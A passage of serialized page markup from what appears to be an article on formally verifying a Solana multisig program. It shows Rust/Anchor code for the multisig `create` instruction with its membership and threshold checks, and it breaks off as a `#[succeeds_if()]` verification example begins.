guarantees",{"type":22,"tag":1760,"props":26774,"children":26776},{"id":26775},"_1-incrementally-verifying-minimum-requirements-to-create-a-multisig",[26777],{"type":27,"value":26778},"1. Incrementally verifying minimum requirements to create a multisig",{"type":22,"tag":23,"props":26780,"children":26781},{},[26782,26784,26789],{"type":27,"value":26783},"Suppose we want to verify the minimum requirements to create a multisig, i.e. the ",{"type":22,"tag":30,"props":26785,"children":26787},{"className":26786},[],[26788],{"type":27,"value":24146},{"type":27,"value":26790}," expression.",{"type":22,"tag":23,"props":26792,"children":26793},{},[26794,26796,26801,26803,26809],{"type":27,"value":26795},"Creating a multisig (",{"type":22,"tag":30,"props":26797,"children":26799},{"className":26798},[],[26800],{"type":27,"value":26729},{"type":27,"value":26802},") requires invoking the ",{"type":22,"tag":30,"props":26804,"children":26806},{"className":26805},[],[26807],{"type":27,"value":26808},"create",{"type":27,"value":26810}," instruction:",{"type":22,"tag":91,"props":26812,"children":26814},{"code":26813,"language":95,"meta":7,"className":93,"style":7},"#[derive(Accounts)]\n#[instruction(threshold: u16, create_key: Pubkey, members: Vec\u003CPubkey>)]\npub struct Create\u003C'info> {\n #[account(\n init,\n payer = creator,\n space = Ms::SIZE_WITHOUT_MEMBERS + (members.len() * 32),\n seeds = [b\"squad\", create_key.as_ref(), b\"multisig\"], bump\n )]\n pub multisig: Account\u003C'info, Ms>,\n\n #[account(mut)]\n pub creator: Signer\u003C'info>,\n pub system_program: Program\u003C'info, System>,\n}\n\npub fn create(\n ctx: Context\u003CCreate>,\n threshold: u16,\n create_key: Pubkey,\n members: Vec\u003CPubkey>,\n) -> Result\u003C()> {\n // sort the members and remove duplicates\n let mut members = members;\n members.sort();\n members.dedup();\n\n // check we don't exceed u16\n let total_members = members.len();\n if total_members \u003C 1 {\n return err!(MsError::EmptyMembers);\n }\n\n // make sure we don't exceed u16 on first call\n if total_members > usize::from(u16::MAX) {\n return err!(MsError::MaxMembersReached);\n }\n\n // make sure threshold is valid\n if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n return err!(MsError::InvalidThreshold);\n }\n\n ctx.accounts.multisig.init(\n threshold,\n create_key,\n members,\n *ctx.bumps.get(\"multisig\").unwrap(),\n )\n}\n",[26815],{"type":22,"tag":30,"props":26816,"children":26817},{"__ignoreMap":7},[26818,26835,26890,26920,26928,26936,26953,27004,27053,27061,27102,27109,27125,27158,27200,27207,27214,27233,27261,27281,27301,27329,27348,27356,27384,27404,27424,27431,27439,27471,27494,27529,27537,27545,27554,27596,27629,27637,27645,27654,27730,27763,27771,27779,27816,27829,27842,27855,27909,27918],{"type":22,"tag":101,"props":26819,"children":26820},{"class":103,"line":104},[26821,26826,26831],{"type":22,"tag":101,"props":26822,"children":26823},{"style":120},[26824],{"type":27,"value":26825},"#[derive(",{"type":22,"tag":101,"props":26827,"children":26828},{"style":114},[26829],{"type":27,"value":26830},"Accounts",{"type":22,"tag":101,"props":26832,"children":26833},{"style":120},[26834],{"type":27,"value":24250},{"type":22,"tag":101,"props":26836,"children":26837},{"class":103,"line":157},[26838,26843,26847,26851,26856,26860,26864,26869,26873,26877,26881,26885],{"type":22,"tag":101,"props":26839,"children":26840},{"style":120},[26841],{"type":27,"value":26842},"#[instruction(threshold",{"type":22,"tag":101,"props":26844,"children":26845},{"style":166},[26846],{"type":27,"value":169},{"type":22,"tag":101,"props":26848,"children":26849},{"style":114},[26850],{"type":27,"value":25017},{"type":22,"tag":101,"props":26852,"children":26853},{"style":120},[26854],{"type":27,"value":26855},", create_key",{"type":22,"tag":101,"props":26857,"children":26858},{"style":166},[26859],{"type":27,"value":169},{"type":22,"tag":101,"props":26861,"children":26862},{"style":114},[26863],{"type":27,"value":24844},{"type":22,"tag":101,"props":26865,"children":26866},{"style":120},[26867],{"type":27,"value":26868},", members",{"type":22,"tag":101,"props":26870,"children":26871},{"style":166},[26872],{"type":27,"value":169},{"type":22,"tag":101,"props":26874,"children":26875},{"style":114},[26876],{"type":27,"value":25376},{"type":22,"tag":101,"props":26878,"children":26879},{"style":120},[26880],{"type":27,"value":123},{"type":22,"tag":101,"props":26882,"children":26883},{"style":114},[26884],{"type":27,"value":25385},{"type":22,"tag":101,"props":26886,"children":26887},{"style":120},[26888],{"type":27,"value":26889},">)]\n",{"type":22,"tag":101,"props":26891,"children":26892},{"class":103,"line":182},[26893,26897,26901,26906,26911,26916],{"type":22,"tag":101,"props":26894,"children":26895},{"style":108},[26896],{"type":27,"value":17693},{"type":22,"tag":101,"props":26898,"children":26899},{"style":108},[26900],{"type":27,"value":25138},{"type":22,"tag":101,"props":26902,"children":26903},{"style":114},[26904],{"type":27,"value":26905}," Create",{"type":22,"tag":101,"props":26907,"children":26908},{"style":120},[26909],{"type":27,"value":26910},"\u003C'",{"type":22,"tag":101,"props":26912,"children":26913},{"style":114},[26914],{"type":27,"value":26915},"info",{"type":22,"tag":101,"props":26917,"children":26918},{"style":120},[26919],{"type":27,"value":2282},{"type":22,"tag":101,"props":26921,"children":26922},{"class":103,"line":367},[26923],{"type":22,"tag":101,"props":26924,"children":26925},{"style":120},[26926],{"type":27,"value":26927}," #[account(\n",{"type":22,"tag":101,"props":26929,"children":26930},{"class":103,"line":398},[26931],{"type":22,"tag":101,"props":26932,"children":26933},{"style":120},[26934],{"type":27,"value":26935}," init,\n",{"type":22,"tag":101,"props":26937,"children":26938},{"class":103,"line":428},[26939,26944,26948],{"type":22,"tag":101,"props":26940,"children":26941},{"style":120},[26942],{"type":27,"value":26943}," payer ",{"type":22,"tag":101,"props":26945,"children":26946},{"style":166},[26947],{"type":27,"value":1511},{"type":22,"tag":101,"props":26949,"children":26950},{"style":120},[26951],{"type":27,"value":26952}," creator,\n",{"type":22,"tag":101,"props":26954,"children":26955},{"class":103,"line":997},[26956,26961,26965,26969,26973,26978,26982,26987,26991,26995,26999],{"type":22,"tag":101,"props":26957,"children":26958},{"style":120},[26959],{"type":27,"value":26960}," space ",{"type":22,"tag":101,"props":26962,"children":26963},{"style":166},[26964],{"type":27,"value":1511},{"type":22,"tag":101,"props":26966,"children":26967},{"style":114},[26968],{"type":27,"value":25143},{"type":22,"tag":101,"props":26970,"children":26971},{"style":166},[26972],{"type":27,"value":970},{"type":22,"tag":101,"props":26974,"children":26975},{"style":114},[26976],{"type":27,"value":26977},"SIZE_WITHOUT_MEMBERS",{"type":22,"tag":101,"props":26979,"children":26980},{"style":166},[26981],{"type":27,"value":3643},{"type":22,"tag":101,"props":26983,"children":26984},{"style":120},[26985],{"type":27,"value":26986}," (members",{"type":22,"tag":101,"props":26988,"children":26989},{"style":166},[26990],{"type":27,"value":231},{"type":22,"tag":101,"props":26992,"children":26993},{"style":120},[26994],{"type":27,"value":25008},{"type":22,"tag":101,"props":26996,"children":26997},{"style":166},[26998],{"type":27,"value":8615},{"type":22,"tag":101,"props":27000,"children":27001},{"style":120},[27002],{"type":27,"value":27003}," 32),\n",{"type":22,"tag":101,"props":27005,"children":27006},{"class":103,"line":1032},[27007,27012,27016,27020,27025,27029,27033,27038,27043,27048],{"type":22,"tag":101,"props":27008,"children":27009},{"style":120},[27010],{"type":27,"value":27011}," seeds ",{"type":22,"tag":101,"props":27013,"children":27014},{"style":166},[27015],{"type":27,"value":1511},{"type":22,"tag":101,"props":27017,"children":27018},{"style":120},[27019],{"type":27,"value":911},{"type":22,"tag":101,"props":27021,"children":27022},{"style":6476},[27023],{"type":27,"value":27024},"b\"squad\"",{"type":22,"tag":101,"props":27026,"children":27027},{"style":120},[27028],{"type":27,"value":26855},{"type":22,"tag":101,"props":27030,"children":27031},{"style":166},[27032],{"type":27,"value":231},{"type":22,"tag":101,"props":27034,"children":27035},{"style":120},[27036],{"type":27,"value":27037},"as_ref(), ",{"type":22,"tag":101,"props":27039,"children":27040},{"style":6476},[27041],{"type":27,"value":27042},"b\"multisig\"",{"type":22,"tag":101,"props":27044,"children":27045},{"style":120},[27046],{"type":27,"value":27047},"], ",{"type":22,"tag":101,"props":27049,"children":27050},{"style":126},[27051],{"type":27,"value":27052},"bump\n",{"type":22,"tag":101,"props":27054,"children":27055},{"class":103,"line":1063},[27056],{"type":22,"tag":101,"props":27057,"children":27058},{"style":120},[27059],{"type":27,"value":27060}," )]\n",{"type":22,"tag":101,"props":27062,"children":27063},{"class":103,"line":1071},[27064,27068,27073,27077,27082,27086,27090,27094,27098],{"type":22,"tag":101,"props":27065,"children":27066},{"style":108},[27067],{"type":27,"value":24830},{"type":22,"tag":101,"props":27069,"children":27070},{"style":126},[27071],{"type":27,"value":27072}," multisig",{"type":22,"tag":101,"props":27074,"children":27075},{"style":166},[27076],{"type":27,"value":169},{"type":22,"tag":101,"props":27078,"children":27079},{"style":114},[27080],{"type":27,"value":27081}," Account",{"type":22,"tag":101,"props":27083,"children":27084},{"style":120},[27085],{"type":27,"value":26910},{"type":22,"tag":101,"props":27087,"children":27088},{"style":114},[27089],{"type":27,"value":26915},{"type":22,"tag":101,"props":27091,"children":27092},{"style":120},[27093],{"type":27,"value":758},{"type":22,"tag":101,"props":27095,"children":27096},{"style":114},[27097],{"type":27,"value":26729},{"type":22,"tag":101,"props":27099,"children":27100},{"style":120},[27101],{"type":27,"value":343},{"type":22,"tag":101,"props":27103,"children":27104},{"class":103,"line":1110},[27105],{"type":22,"tag":101,"props":27106,"children":27107},{"emptyLinePlaceholder":15},[27108],{"type":27,"value":1581},{"type":22,"tag":101,"props":27110,"children":27111},{"class":103,"line":1118},[27112,27117,27121],{"type":22,"tag":101,"props":27113,"children":27114},{"style":120},[27115],{"type":27,"value":27116}," #[account(",{"type":22,"tag":101,"props":27118,"children":27119},{"style":108},[27120],{"type":27,"value":7760},{"type":22,"tag":101,"props":27122,"children":27123},{"style":120},[27124],{"type":27,"value":24250},{"type":22,"tag":101,"props":27126,"children":27127},{"class":103,"line":1158},[27128,27132,27137,27141,27146,27150,27154],{"type":22,"tag":101,"props":27129,"children":27130},{"style":108},[27131],{"type":27,"value":24830},{"type":22,"tag":101,"props":27133,"children":27134},{"style":126},[27135],{"type":27,"value":27136}," creator",{"type":22,"tag":101,"props":27138,"children":27139},{"style":166},[27140],{"type":27,"value":169},{"type":22,"tag":101,"props":27142,"children":27143},{"style":114},[27144],{"type":27,"value":27145}," Signer",{"type":22,"tag":101,"props":27147,"children":27148},{"style":120},[27149],{"type":27,"value":26910},{"type":22,"tag":101,"props":27151,"children":27152},{"style":114},[27153],{"type":27,"value":26915},{"type":22,"tag":101,"props":27155,"children":27156},{"style":120},[27157],{"type":27,"value":343},{"type":22,"tag":101,"props":27159,"children":27160},{"class":103,"line":1166},[27161,27165,27170,27174,27179,27183,27187,27191,27196],{"type":22,"tag":101,"props":27162,"children":27163},{"style":108},[27164],{"type":27,"value":24830},{"type":22,"tag":101,"props":27166,"children":27167},{"style":126},[27168],{"type":27,"value":27169}," system_program",{"type":22,"tag":101,"props":27171,"children":27172},{"style":166},[27173],{"type":27,"value":169},{"type":22,"tag":101,"props":27175,"children":27176},{"style":114},[27177],{"type":27,"value":27178}," Program",{"type":22,"tag":101,"props":27180,"children":27181},{"style":120},[27182],{"type":27,"value":26910},{"type":22,"tag":101,"props":27184,"children":27185},{"style":114},[27186],{"type":27,"value":26915},{"type":22,"tag":101,"props":27188,"children":27189},{"style":120},[27190],{"type":27,"value":758},{"type":22,"tag":101,"props":27192,"children":27193},{"style":114},[27194],{"type":27,"value":27195},"System",{"type":22,"tag":101,"props":27197,"children":27198},{"style":120},[27199],{"type":27,"value":343},{"type":22,"tag":101,"props":27201,"children":27202},{"class":103,"line":1215},[27203],{"type":22,"tag":101,"props":27204,"children":27205},{"style":120},[27206],{"type":27,"value":188},{"type":22,"tag":101,"props":27208,"children":27209},{"class":103,"line":2425},[27210],{"type":22,"tag":101,"props":27211,"children":27212},{"emptyLinePlaceholder":15},[27213],{"type":27,"value":1581},{"type":22,"tag":101,"props":27215,"children":27216},{"class":103,"line":5417},[27217,27221,27225,27229],{"type":22,"tag":101,"props":27218,"children":27219},{"style":108},[27220],{"type":27,"value":17693},{"type":22,"tag":101,"props":27222,"children":27223},{"style":108},[27224],{"type":27,"value":17698},{"type":22,"tag":101,"props":27226,"children":27227},{"style":926},[27228],{"type":27,"value":11132},{"type":22,"tag":101,"props":27230,"children":27231},{"style":120},[27232],{"type":27,"value":1850},{"type":22,"tag":101,"props":27234,"children":27235},{"class":103,"line":7714},[27236,27240,27244,27248,27252,27257],{"type":22,"tag":101,"props":27237,"children":27238},{"style":126},[27239],{"type":27,"value":24215},{"type":22,"tag":101,"props":27241,"children":27242},{"style":166},[27243],{"type":27,"value":169},{"type":22,"tag":101,"props":27245,"children":27246},{"style":114},[27247],{"type":27,"value":24280},{"type":22,"tag":101,"props":27249,"children":27250},{"style":120},[27251],{"type":27,"value":123},{"type":22,"tag":101,"props":27253,"children":27254},{"style":114},[27255],{"type":27,"value":27256},"Create",{"type":22,"tag":101,"props":27258,"children":27259},{"style":120},[27260],{"type":27,"value":343},{"type":22,"tag":101,"props":27262,"children":27263},{"class":103,"line":7723},[27264,27269,27273,27277],{"type":22,"tag":101,"props":27265,"children":27266},{"style":126},[27267],{"type":27,"value":27268}," threshold",{"type":22,"tag":101,"props":27270,"children":27271},{"style":166},[27272],{"type":27,"value":169},{"type":22,"tag":101,"props":27274,"children":27275},{"style":114},[27276],{"type":27,"value":25017},{"type":22,"tag":101,"props":27278,"children":27279},{"style":120},[27280],{"type":27,"value":179},{"type":22,"tag":101,"props":27282,"children":27283},{"class":103,"line":7791},[27284,27289,27293,27297],{"type":22,"tag":101,"props":27285,"children":27286},{"style":126},[27287],{"type":27,"value":27288}," create_key",{"type":22,"tag":101,"props":27290,"children":27291},{"style":166},[27292],{"type":27,"value":169},{"type":22,"tag":101,"props":27294,"children":27295},{"style":114},[27296],{"type":27,"value":24844},{"type":22,"tag":101,"props":27298,"children":27299},{"style":120},[27300],{"type":27,"value":179},{"type":22,"tag":101,"props":27302,"children":27303},{"class":103,"line":7799},[27304,27309,27313,27317,27321,27325],{"type":22,"tag":101,"props":27305,"children":27306},{"style":126},[27307],{"type":27,"value":27308}," members",{"type":22,"tag":101,"props":27310,"children":27311},{"style":166},[27312],{"type":27,"value":169},{"type":22,"tag":101,"props":27314,"children":27315},{"style":114},[27316],{"type":27,"value":25376},{"type":22,"tag":101,"props":27318,"children":27319},{"style":120},[27320],{"type":27,"value":123},{"type":22,"tag":101,"props":27322,"children":27323},{"style":114},[27324],{"type":27,"value":25385},{"type":22,"tag":101,"props":27326,"children":27327},{"style":120},[27328],{"type":27,"value":343},{"type":22,"tag":101,"props":27330,"children":27331},{"class":103,"line":7829},[27332,27336,27340,27344],{"type":22,"tag":101,"props":27333,"children":27334},{"style":120},[27335],{"type":27,"value":901},{"type":22,"tag":101,"props":27337,"children":27338},{"style":166},[27339],{"type":27,"value":17759},{"type":22,"tag":101,"props":27341,"children":27342},{"style":114},[27343],{"type":27,"value":17764},{"type":22,"tag":101,"props":27345,"children":27346},{"style":120},[27347],{"type":27,"value":24321},{"type":22,"tag":101,"props":27349,"children":27350},{"class":103,"line":7837},[27351],{"type":22,"tag":101,"props":27352,"children":27353},{"style":2215},[27354],{"type":27,"value":27355}," // sort the members and remove duplicates\n",{"type":22,"tag":101,"props":27357,"children":27358},{"class":103,"line":7868},[27359,27363,27367,27372,27376,27380],{"type":22,"tag":101,"props":27360,"children":27361},{"style":108},[27362],{"type":27,"value":950},{"type":22,"tag":101,"props":27364,"children":27365},{"style":108},[27366],{"type":27,"value":7052},{"type":22,"tag":101,"props":27368,"children":27369},{"style":126},[27370],{"type":27,"value":27371}," members",{"type":22,"tag":101,"props":27373,"children":27374},{"style":166},[27375],{"type":27,"value":960},{"type":22,"tag":101,"props":27377,"children":27378},{"style":126},[27379],{"type":27,"value":27371},{"type":22,"tag":101,"props":27381,"children":27382},{"style":120},[27383],{"type":27,"value":1520},{"type":22,"tag":101,"props":27385,"children":27386},{"class":103,"line":7876},[27387,27391,27395,27400],{"type":22,"tag":101,"props":27388,"children":27389},{"style":126},[27390],{"type":27,"value":27308},{"type":22,"tag":101,"props":27392,"children":27393},{"style":166},[27394],{"type":27,"value":231},{"type":22,"tag":101,"props":27396,"children":27397},{"style":926},[27398],{"type":27,"value":27399},"sort",{"type":22,"tag":101,"props":27401,"children":27402},{"style":120},[27403],{"type":27,"value":934},{"type":22,"tag":101,"props":27405,"children":27406},{"class":103,"line":7936},[27407,27411,27415,27420],{"type":22,"tag":101,"props":27408,"children":27409},{"style":126},[27410],{"type":27,"value":27308},{"type":22,"tag":101,"props":27412,"children":27413},{"style":166},[27414],{"type":27,"value":231},{"type":22,"tag":101,"props":27416,"children":27417},{"style":926},[27418],{"type":27,"value":27419},"dedup",{"type":22,"tag":101,"props":27421,"children":27422},{"style":120},[27423],{"type":27,"value":934},{"type":22,"tag":101,"props":27425,"children":27426},{"class":103,"line":13054},[27427],{"type":22,"tag":101,"props":27428,"children":27429},{"emptyLinePlaceholder":15},[27430],{"type":27,"value":1581},{"type":22,"tag":101,"props":27432,"children":27433},{"class":103,"line":13072},[27434],{"type":22,"tag":101,"props":27435,"children":27436},{"style":2215},[27437],{"type":27,"value":27438}," // check we don't exceed u16\n",{"type":22,"tag":101,"props":27440,"children":27441},{"class":103,"line":13117},[27442,27446,27451,27455,27459,27463,27467],{"type":22,"tag":101,"props":27443,"children":27444},{"style":108},[27445],{"type":27,"value":950},{"type":22,"tag":101,"props":27447,"children":27448},{"style":126},[27449],{"type":27,"value":27450}," total_members",{"type":22,"tag":101,"props":27452,"children":27453},{"style":166},[27454],{"type":27,"value":960},{"type":22,"tag":101,"props":27456,"children":27457},{"style":126},[27458],{"type":27,"value":27371},{"type":22,"tag":101,"props":27460,"children":27461},{"style":166},[27462],{"type":27,"value":231},{"type":22,"tag":101,"props":27464,"children":27465},{"style":926},[27466],{"type":27,"value":13147},{"type":22,"tag":101,"props":27468,"children":27469},{"style":120},[27470],{"type":27,"value":934},{"type":22,"tag":101,"props":27472,"children":27473},{"class":103,"line":13223},[27474,27478,27482,27486,27490],{"type":22,"tag":101,"props":27475,"children":27476},{"style":3595},[27477],{"type":27,"value":16283},{"type":22,"tag":101,"props":27479,"children":27480},{"style":126},[27481],{"type":27,"value":27450},{"type":22,"tag":101,"props":27483,"children":27484},{"style":166},[27485],{"type":27,"value":12726},{"type":22,"tag":101,"props":27487,"children":27488},{"style":1544},[27489],{"type":27,"value":3648},{"type":22,"tag":101,"props":27491,"children":27492},{"style":120},[27493],{"type":27,"value":154},{"type":22,"tag":101,"props":27495,"children":27497},{"class":103,"line":27496},31,[27498,27502,27507,27511,27516,27520,27525],{"type":22,"tag":101,"props":27499,"children":27500},{"style":3595},[27501],{"type":27,"value":19742},{"type":22,"tag":101,"props":27503,"children":27504},{"style":926},[27505],{"type":27,"value":27506}," err!",{"type":22,"tag":101,"props":27508,"children":27509},{"style":120},[27510],{"type":27,"value":980},{"type":22,"tag":101,"props":27512,"children":27513},{"style":114},[27514],{"type":27,"value":27515},"MsError",{"type":22,"tag":101,"props":27517,"children":27518},{"style":166},[27519],{"type":27,"value":970},{"type":22,"tag":101,"props":27521,"children":27522},{"style":114},[27523],{"type":27,"value":27524},"EmptyMembers",{"type":22,"tag":101,"props":27526,"children":27527},{"style":120},[27528],{"type":27,"value":994},{"type":22,"tag":101,"props":27530,"children":27532},{"class":103,"line":27531},32,[27533],{"type":22,"tag":101,"props":27534,"children":27535},{"style":120},[27536],{"type":27,"value":1734},{"type":22,"tag":101,"props":27538,"children":27540},{"class":103,"line":27539},33,[27541],{"type":22,"tag":101,"props":27542,"children":27543},{"emptyLinePlaceholder":15},[27544],{"type":27,"value":1581},{"type":22,"tag":101,"props":27546,"children":27548},{"class":103,"line":27547},34,[27549],{"type":22,"tag":101,"props":27550,"children":27551},{"style":2215},[27552],{"type":27,"value":27553}," // make sure we don't exceed u16 on first call\n",{"type":22,"tag":101,"props":27555,"children":27557},{"class":103,"line":27556},35,[27558,27562,27566,27570,27574,27578,27582,27587,27591],{"type":22,"tag":101,"props":27559,"children":27560},{"style":3595},[27561],{"type":27,"value":16283},{"type":22,"tag":101,"props":27563,"children":27564},{"style":126},[27565],{"type":27,"value":27450},{"type":22,"tag":101,"props":27567,"children":27568},{"style":166},[27569],{"type":27,"value":18196},{"type":22,"tag":101,"props":27571,"children":27572},{"style":114},[27573],{"type":27,"value":17733},{"type":22,"tag":101,"props":27575,"children":27576},{"style":166},[27577],{"type":27,"value":970},{"type":22,"tag":101,"props":27579,"children":27580},{"style":926},[27581],{"type":27,"value":23464},{"type":22,"tag":101,"props":27583,"children":27584},{"style":120},[27585],{"type":27,"value":27586},"(u16",{"type":22,"tag":101,"props":27588,"children":27589},{"style":166},[27590],{"type":27,"value":970},{"type":22,"tag":101,"props":27592,"children":27593},{"style":120},[27594],{"type":27,"value":27595},"MAX) {\n",{"type":22,"tag":101,"props":27597,"children":27599},{"class":103,"line":27598},36,[27600,27604,27608,27612,27616,27620,27625],{"type":22,"tag":101,"props":27601,"children":27602},{"style":3595},[27603],{"type":27,"value":19742},{"type":22,"tag":101,"props":27605,"children":27606},{"style":926},[27607],{"type":27,"value":27506},{"type":22,"tag":101,"props":27609,"children":27610},{"style":120},[27611],{"type":27,"value":980},{"type":22,"tag":101,"props":27613,"children":27614},{"style":114},[27615],{"type":27,"value":27515},{"type":22,"tag":101,"props":27617,"children":27618},{"style":166},[27619],{"type":27,"value":970},{"type":22,"tag":101,"props":27621,"children":27622},{"style":114},[27623],{"type":27,"value":27624},"MaxMembersReached",{"type":22,"tag":101,"props":27626,"children":27627},{"style":120},[27628],{"type":27,"value":994},{"type":22,"tag":101,"props":27630,"children":27632},{"class":103,"line":27631},37,[27633],{"type":22,"tag":101,"props":27634,"children":27635},{"style":120},[27636],{"type":27,"value":1734},{"type":22,"tag":101,"props":27638,"children":27640},{"class":103,"line":27639},38,[27641],{"type":22,"tag":101,"props":27642,"children":27643},{"emptyLinePlaceholder":15},[27644],{"type":27,"value":1581},{"type":22,"tag":101,"props":27646,"children":27648},{"class":103,"line":27647},39,[27649],{"type":22,"tag":101,"props":27650,"children":27651},{"style":2215},[27652],{"type":27,"value":27653}," // make sure threshold is valid\n",{"type":22,"tag":101,"props":27655,"children":27657},{"class":103,"line":27656},40,[27658,27662,27666,27670,27674,27678,27682,27687,27691,27696,27700,27704,27708,27712,27716,27721,27726],{"type":22,"tag":101,"props":27659,"children":27660},{"style":3595},[27661],{"type":27,"value":16283},{"type":22,"tag":101,"props":27663,"children":27664},{"style":114},[27665],{"type":27,"value":17733},{"type":22,"tag":101,"props":27667,"children":27668},{"style":166},[27669],{"type":27,"value":970},{"type":22,"tag":101,"props":27671,"children":27672},{"style":926},[27673],{"type":27,"value":23464},{"type":22,"tag":101,"props":27675,"children":27676},{"style":120},[27677],{"type":27,"value":980},{"type":22,"tag":101,"props":27679,"children":27680},{"style":126},[27681],{"type":27,"value":26737},{"type":22,"tag":101,"props":27683,"children":27684},{"style":120},[27685],{"type":27,"value":27686},") \u003C ",{"type":22,"tag":101,"props":27688,"children":27689},{"style":1544},[27690],{"type":27,"value":6813},{"type":22,"tag":101,"props":27692,"children":27693},{"style":166},[27694],{"type":27,"value":27695}," ||",{"type":22,"tag":101,"props":27697,"children":27698},{"style":114},[27699],{"type":27,"value":17733},{"type":22,"tag":101,"props":27701,"children":27702},{"style":166},[27703],{"type":27,"value":970},{"type":22,"tag":101,"props":27705,"children":27706},{"style":926},[27707],{"type":27,"value":23464},{"type":22,"tag":101,"props":27709,"children":27710},{"style":120},[27711],{"type":27,"value":980},{"type":22,"tag":101,"props":27713,"children":27714},{"style":126},[27715],{"type":27,"value":26737},{"type":22,"tag":101,"props":27717,"children":27718},{"style":120},[27719],{"type":27,"value":27720},") > ",{"type":22,"tag":101,"props":27722,"children":27723},{"style":126},[27724],{"type":27,"value":27725},"total_members",{"type":22,"tag":101,"props":27727,"children":27728},{"style":120},[27729],{"type":27,"value":154},{"type":22,"tag":101,"props":27731,"children":27733},{"class":103,"line":27732},41,[27734,27738,27742,27746,27750,27754,27759],{"type":22,"tag":101,"props":27735,"children":27736},{"style":3595},[27737],{"type":27,"value":19742},{"type":22,"tag":101,"props":27739,"children":27740},{"style":926},[27741],{"type":27,"value":27506},{"type":22,"tag":101,"props":27743,"children":27744},{"style":120},[27745],{"type":27,"value":980},{"type":22,"tag":101,"props":27747,"children":27748},{"style":114},[27749],{"type":27,"value":27515},{"type":22,"tag":101,"props":27751,"children":27752},{"style":166},[27753],{"type":27,"value":970},{"type":22,"tag":101,"props":27755,"children":27756},{"style":114},[27757],{"type":27,"value":27758},"InvalidThreshold",{"type":22,"tag":101,"props":27760,"children":27761},{"style":120},[27762],{"type":27,"value":994},{"type":22,"tag":101,"props":27764,"children":27766},{"class":103,"line":27765},42,[27767],{"type":22,"tag":101,"props":27768,"children":27769},{"style":120},[27770],{"type":27,"value":1734},{"type":22,"tag":101,"props":27772,"children":27774},{"class":103,"line":27773},43,[27775],{"type":22,"tag":101,"props":27776,"children":27777},{"emptyLinePlaceholder":15},[27778],{"type":27,"value":1581},{"type":22,"tag":101,"props":27780,"children":27782},{"class":103,"line":27781},44,[27783,27787,27791,27795,27799,27804,27808,27812],{"type":22,"tag":101,"props":27784,"children":27785},{"style":126},[27786],{"type":27,"value":24215},{"type":22,"tag":101,"props":27788,"children":27789},{"style":166},[27790],{"type":27,"value":231},{"type":22,"tag":101,"props":27792,"children":27793},{"style":120},[27794],{"type":27,"value":18677},{"type":22,"tag":101,"props":27796,"children":27797},{"style":166},[27798],{"type":27,"value":231},{"type":22,"tag":101,"props":27800,"children":27801},{"style":120},[27802],{"type":27,"value":27803},"multisig",{"type":22,"tag":101,"props":27805,"children":27806},{"style":166},[27807],{"type":27,"value":231},{"type":22,"tag":101,"props":27809,"children":27810},{"style":926},[27811],{"type":27,"value":24728},{"type":22,"tag":101,"props":27813,"children":27814},{"style":120},[27815],{"type":27,"value":1850},{"type":22,"tag":101,"props":27817,"children":27819},{"class":103,"line":27818},45,[27820,27825],{"type":22,"tag":101,"props":27821,"children":27822},{"style":126},[27823],{"type":27,"value":27824}," threshold",{"type":22,"tag":101,"props":27826,"children":27827},{"style":120},[27828],{"type":27,"value":179},{"type":22,"tag":101,"props":27830,"children":27832},{"class":103,"line":27831},46,[27833,27838],{"type":22,"tag":101,"props":27834,"children":27835},{"style":126},[27836],{"type":27,"value":27837}," create_key",{"type":22,"tag":101,"props":27839,"children":27840},{"style":120},[27841],{"type":27,"value":179},{"type":22,"tag":101,"props":27843,"children":27845},{"class":103,"line":27844},47,[27846,27851],{"type":22,"tag":101,"props":27847,"children":27848},{"style":126},[27849],{"type":27,"value":27850}," members",{"type":22,"tag":101,"props":27852,"children":27853},{"style":120},[27854],{"type":27,"value":179},{"type":22,"tag":101,"props":27856,"children":27858},{"class":103,"line":27857},48,[27859,27863,27867,27871,27876,27880,27884,27888,27893,27897,27901,27905],{"type":22,"tag":101,"props":27860,"children":27861},{"style":166},[27862],{"type":27,"value":11761},{"type":22,"tag":101,"props":27864,"children":27865},{"style":126},[27866],{"type":27,"value":24271},{"type":22,"tag":101,"props":27868,"children":27869},{"style":166},[27870],{"type":27,"value":231},{"type":22,"tag":101,"props":27872,"children":27873},{"style":120},[27874],{"type":27,"value":27875},"bumps",{"type":22,"tag":101,"props":27877,"children":27878},{"style":166},[27879],{"type":27,"value":231},{"type":22,"tag":101,"props":27881,"children":27882},{"style":926},[27883],{"type":27,"value":20350},{"type":22,"tag":101,"props":27885,"children":27886},{"style":120},[27887],{"type":27,"value":980},{"type":22,"tag":101,"props":27889,"children":27890},{"style":6476},[27891],{"type":27,"value":27892},"\"multisig\"",{"type":22,"tag":101,"props":27894,"children":27895},{"style":120},[27896],{"type":27,"value":2261},{"type":22,"tag":101,"props":27898,"children":27899},{"style":166},[27900],{"type":27,"value":231},{"type":22,"tag":101,"props":27902,"children":27903},{"style":926},[27904],{"type":27,"value":7700},{"type":22,"tag":101,"props":27906,"children":27907},{"style":120},[27908],{"type":27,"value":7526},{"type":22,"tag":101,"props":27910,"children":27912},{"class":103,"line":27911},49,[27913],{"type":22,"tag":101,"props":27914,"children":27915},{"style":120},[27916],{"type":27,"value":27917}," )\n",{"type":22,"tag":101,"props":27919,"children":27921},{"class":103,"line":27920},50,[27922],{"type":22,"tag":101,"props":27923,"children":27924},{"style":120},[27925],{"type":27,"value":188},{"type":22,"tag":23,"props":27927,"children":27928},{},[27929,27931,27936,27938,27943],{"type":27,"value":27930},"We can start by testing an empty ",{"type":22,"tag":30,"props":27932,"children":27934},{"className":27933},[],[27935],{"type":27,"value":24146},{"type":27,"value":27937}," (this will default to ",{"type":22,"tag":30,"props":27939,"children":27941},{"className":27940},[],[27942],{"type":27,"value":5608},{"type":27,"value":27944},"):",{"type":22,"tag":91,"props":27946,"children":27948},{"code":27947,"language":95,"meta":7,"className":93,"style":7},"#[succeeds_if()]\npub fn create(...) { ... 